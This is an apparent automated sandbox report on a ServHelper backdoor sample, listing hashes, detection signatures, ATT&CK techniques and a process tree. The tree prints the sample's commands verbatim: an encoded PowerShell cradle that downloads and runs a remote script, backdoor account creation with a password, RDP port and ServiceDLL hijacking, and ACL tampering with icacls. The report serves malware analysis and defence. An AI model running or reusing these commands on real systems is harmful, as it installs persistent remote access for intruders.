servhelper | b3f483f00e80c0777858e6795f9f13bce726ff8265ef3e8cd3602cf1711247a2

Analysis

max time kernel
138s
max time network
99s
platform
windows7_x64
resource
win7v20210408
submitted
08-07-2021 17:08

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General

Target

2b7720a936539736e36bb95fd6c61818.exe
Size

4.4MB
MD5

2b7720a936539736e36bb95fd6c61818
SHA1

b89323ad4d1f09227e097173420504f24e27e131
SHA256

b3f483f00e80c0777858e6795f9f13bce726ff8265ef3e8cd3602cf1711247a2
SHA512

d878072027b9aca3434c2b15cb4a3b4c9d097806719ac50ed731110faef2561fa179831804ad4624b7fa7b0fbd6f5927d5ab2fc078b918e13d21d88292f5bcad

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral1/memory/1976-64-0x000000001D410000-0x000000001DA3B000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1568	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
920	icacls.exe
1616	icacls.exe
1764	icacls.exe
1652	icacls.exe
612	icacls.exe
1064	takeown.exe
1092	icacls.exe
1436	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130da-188.dat	upx
behavioral1/files/0x00050000000130db-189.dat	upx

Deletes itself 1 IoCs

pid	Process
928	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1212	Process not Found
1212	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1616	icacls.exe
1764	icacls.exe
1652	icacls.exe
612	icacls.exe
1064	takeown.exe
1092	icacls.exe
1436	icacls.exe
920	icacls.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1976 set thread context of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_46d9b39e-fafa-4bde-8264-08f768f7b170	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c6f27ad2-1000-43ef-8061-3d7a1e02d8aa	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_41233f82-ab70-4337-9661-abc005b95f4d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_100df9cf-4c41-43f0-bbc6-d2920ae8e5cc	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_94eb0832-35c2-49fd-99f4-82b70b66ee15	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_82e5eecd-f810-49a0-b803-ca29db597866	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BAD8MWXWPJMCT4B9YQJK.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e2825f3a-cc4f-4b49-a45d-011109885045	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_013d786b-e915-4013-bd40-962ff3caa3a2	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5a70c881-56c0-4b15-8194-6c3d5a59fc54	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_350b4476-fffb-4fca-bf99-efc62c0cce6a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c3c79e28-a046-427a-b243-82075556c882	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 303460632c74d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1844	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
928	powershell.exe
928	powershell.exe
600	powershell.exe
600	powershell.exe
1384	powershell.exe
1384	powershell.exe
948	powershell.exe
948	powershell.exe
928	powershell.exe
928	powershell.exe
928	powershell.exe
1568	powershell.exe
1568	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
468	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	928	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	948	powershell.exe
Token: SeRestorePrivilege	1436	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1380	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1380	WMIC.exe
Token: SeAuditPrivilege	1380	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1380	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1380	WMIC.exe
Token: SeAuditPrivilege	1380	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1652	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1652	WMIC.exe
Token: SeAuditPrivilege	1652	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1652	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1652	WMIC.exe
Token: SeAuditPrivilege	1652	WMIC.exe
Token: SeDebugPrivilege	1568	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1976 wrote to memory of 1724	1976	2b7720a936539736e36bb95fd6c61818.exe	29
PID 1724 wrote to memory of 928	1724	vbc.exe	30
PID 1724 wrote to memory of 928	1724	vbc.exe	30
PID 1724 wrote to memory of 928	1724	vbc.exe	30
PID 928 wrote to memory of 1220	928	powershell.exe	32
PID 928 wrote to memory of 1220	928	powershell.exe	32
PID 928 wrote to memory of 1220	928	powershell.exe	32
PID 1220 wrote to memory of 1536	1220	csc.exe	33
PID 1220 wrote to memory of 1536	1220	csc.exe	33
PID 1220 wrote to memory of 1536	1220	csc.exe	33
PID 928 wrote to memory of 600	928	powershell.exe	34
PID 928 wrote to memory of 600	928	powershell.exe	34
PID 928 wrote to memory of 600	928	powershell.exe	34
PID 928 wrote to memory of 1384	928	powershell.exe	36
PID 928 wrote to memory of 1384	928	powershell.exe	36
PID 928 wrote to memory of 1384	928	powershell.exe	36
PID 928 wrote to memory of 948	928	powershell.exe	38
PID 928 wrote to memory of 948	928	powershell.exe	38
PID 928 wrote to memory of 948	928	powershell.exe	38
PID 928 wrote to memory of 1064	928	powershell.exe	41
PID 928 wrote to memory of 1064	928	powershell.exe	41
PID 928 wrote to memory of 1064	928	powershell.exe	41
PID 928 wrote to memory of 1092	928	powershell.exe	42
PID 928 wrote to memory of 1092	928	powershell.exe	42
PID 928 wrote to memory of 1092	928	powershell.exe	42
PID 928 wrote to memory of 1436	928	powershell.exe	43
PID 928 wrote to memory of 1436	928	powershell.exe	43
PID 928 wrote to memory of 1436	928	powershell.exe	43
PID 928 wrote to memory of 920	928	powershell.exe	44
PID 928 wrote to memory of 920	928	powershell.exe	44
PID 928 wrote to memory of 920	928	powershell.exe	44
PID 928 wrote to memory of 1616	928	powershell.exe	45
PID 928 wrote to memory of 1616	928	powershell.exe	45
PID 928 wrote to memory of 1616	928	powershell.exe	45
PID 928 wrote to memory of 1764	928	powershell.exe	46
PID 928 wrote to memory of 1764	928	powershell.exe	46
PID 928 wrote to memory of 1764	928	powershell.exe	46
PID 928 wrote to memory of 1652	928	powershell.exe	47
PID 928 wrote to memory of 1652	928	powershell.exe	47
PID 928 wrote to memory of 1652	928	powershell.exe	47
PID 928 wrote to memory of 612	928	powershell.exe	48
PID 928 wrote to memory of 612	928	powershell.exe	48
PID 928 wrote to memory of 612	928	powershell.exe	48
PID 928 wrote to memory of 1084	928	powershell.exe	49
PID 928 wrote to memory of 1084	928	powershell.exe	49
PID 928 wrote to memory of 1084	928	powershell.exe	49
PID 928 wrote to memory of 1844	928	powershell.exe	50
PID 928 wrote to memory of 1844	928	powershell.exe	50
PID 928 wrote to memory of 1844	928	powershell.exe	50
PID 928 wrote to memory of 1756	928	powershell.exe	51
PID 928 wrote to memory of 1756	928	powershell.exe	51
PID 928 wrote to memory of 1756	928	powershell.exe	51
PID 928 wrote to memory of 1264	928	powershell.exe	52
PID 928 wrote to memory of 1264	928	powershell.exe	52

C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe
"C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:928
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jnbjtahq\jnbjtahq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1220
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E70.tmp" "c:\Users\Admin\AppData\Local\Temp\jnbjtahq\CSC81DAA45740784870962CA6C5C3B6977.TMP"
        5⤵
        
        PID:1536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:600
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:948
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1064
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1092
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1436
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:920
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1616
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1764
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1652
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:612
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1084
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1844
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1756
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1264
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1744
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1392
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1568
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1116
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1696
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1728
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:836
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:948
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:692
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1280
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1220

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:968
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:952

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc jJRkcvXw /add
1⤵
PID:1848
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc jJRkcvXw /add
  2⤵
  PID:636
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc jJRkcvXw /add
    3⤵
    PID:1084

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:680
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1128

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:752
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1536

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:748
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1756

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc jJRkcvXw
1⤵
PID:1104
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc jJRkcvXw
  2⤵
  PID:1216
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc jJRkcvXw
    3⤵
    PID:1568

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:680
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1380

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1240
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1652

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1116
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/600-113-0x0000000002630000-0x0000000002631000-memory.dmp

Filesize
4KB

Download
memory/600-108-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

Filesize
8KB

Download
memory/600-132-0x000000001B980000-0x000000001B981000-memory.dmp

Filesize
4KB

Download
memory/600-131-0x000000001B970000-0x000000001B971000-memory.dmp

Filesize
4KB

Download
memory/600-118-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/600-112-0x00000000027B0000-0x00000000027B1000-memory.dmp

Filesize
4KB

Download
memory/600-110-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

Filesize
8KB

Download
memory/600-105-0x0000000002770000-0x0000000002771000-memory.dmp

Filesize
4KB

Download
memory/600-107-0x000000001AB30000-0x000000001AB31000-memory.dmp

Filesize
4KB

Download
memory/928-80-0x000000001AB60000-0x000000001AB61000-memory.dmp

Filesize
4KB

Download
memory/928-81-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/928-94-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download
memory/928-78-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

Filesize
8KB

Download
memory/928-98-0x0000000002770000-0x0000000002771000-memory.dmp

Filesize
4KB

Download
memory/928-79-0x00000000022F0000-0x00000000022F1000-memory.dmp

Filesize
4KB

Download
memory/928-86-0x000000001B780000-0x000000001B781000-memory.dmp

Filesize
4KB

Download
memory/928-84-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/928-96-0x000000001B4D0000-0x000000001B4D1000-memory.dmp

Filesize
4KB

Download
memory/928-82-0x000000001AAE0000-0x000000001AAE2000-memory.dmp

Filesize
8KB

Download
memory/928-111-0x000000001AAEA000-0x000000001AB09000-memory.dmp

Filesize
124KB

Download
memory/928-97-0x000000001C440000-0x000000001C441000-memory.dmp

Filesize
4KB

Download
memory/928-83-0x000000001AAE4000-0x000000001AAE6000-memory.dmp

Filesize
8KB

Download
memory/948-162-0x00000000025C4000-0x00000000025C6000-memory.dmp

Filesize
8KB

Download
memory/948-161-0x00000000025C0000-0x00000000025C2000-memory.dmp

Filesize
8KB

Download
memory/1384-145-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

Filesize
4KB

Download
memory/1384-140-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

Filesize
8KB

Download
memory/1384-139-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

Filesize
8KB

Download
memory/1384-146-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/1384-141-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/1384-143-0x000000001B800000-0x000000001B801000-memory.dmp

Filesize
4KB

Download
memory/1568-211-0x0000000019594000-0x0000000019596000-memory.dmp

Filesize
8KB

Download
memory/1568-212-0x000000001959A000-0x00000000195B9000-memory.dmp

Filesize
124KB

Download
memory/1568-210-0x0000000019590000-0x0000000019592000-memory.dmp

Filesize
8KB

Download
memory/1724-70-0x0000000041060000-0x0000000041481000-memory.dmp

Filesize
4.1MB

Download
memory/1724-69-0x0000000000400000-0x0000000000A57000-memory.dmp

Filesize
6.3MB

Download
memory/1724-68-0x0000000000400000-0x0000000000A57000-memory.dmp

Filesize
6.3MB

Download
memory/1724-75-0x00000000280D7000-0x00000000280D8000-memory.dmp

Filesize
4KB

Download
memory/1724-76-0x00000000280DC000-0x00000000280FB000-memory.dmp

Filesize
124KB

Download
memory/1724-74-0x00000000280D6000-0x00000000280D7000-memory.dmp

Filesize
4KB

Download
memory/1724-73-0x00000000280D4000-0x00000000280D6000-memory.dmp

Filesize
8KB

Download
memory/1724-72-0x00000000280D2000-0x00000000280D4000-memory.dmp

Filesize
8KB

Download
memory/1976-63-0x000000001BDB0000-0x000000001BDB2000-memory.dmp

Filesize
8KB

Download
memory/1976-62-0x000000001C360000-0x000000001CB9A000-memory.dmp

Filesize
8.2MB

Download
memory/1976-60-0x000000013FBD0000-0x000000013FBD1000-memory.dmp

Filesize
4KB

Download
memory/1976-67-0x000000001E8C0000-0x000000001EEC9000-memory.dmp

Filesize
6.0MB

Download
memory/1976-66-0x0000000000980000-0x0000000000981000-memory.dmp

Filesize
4KB

Download
memory/1976-65-0x0000000000970000-0x0000000000980000-memory.dmp

Filesize
64KB

Download
memory/1976-64-0x000000001D410000-0x000000001DA3B000-memory.dmp

Filesize
6.2MB

Download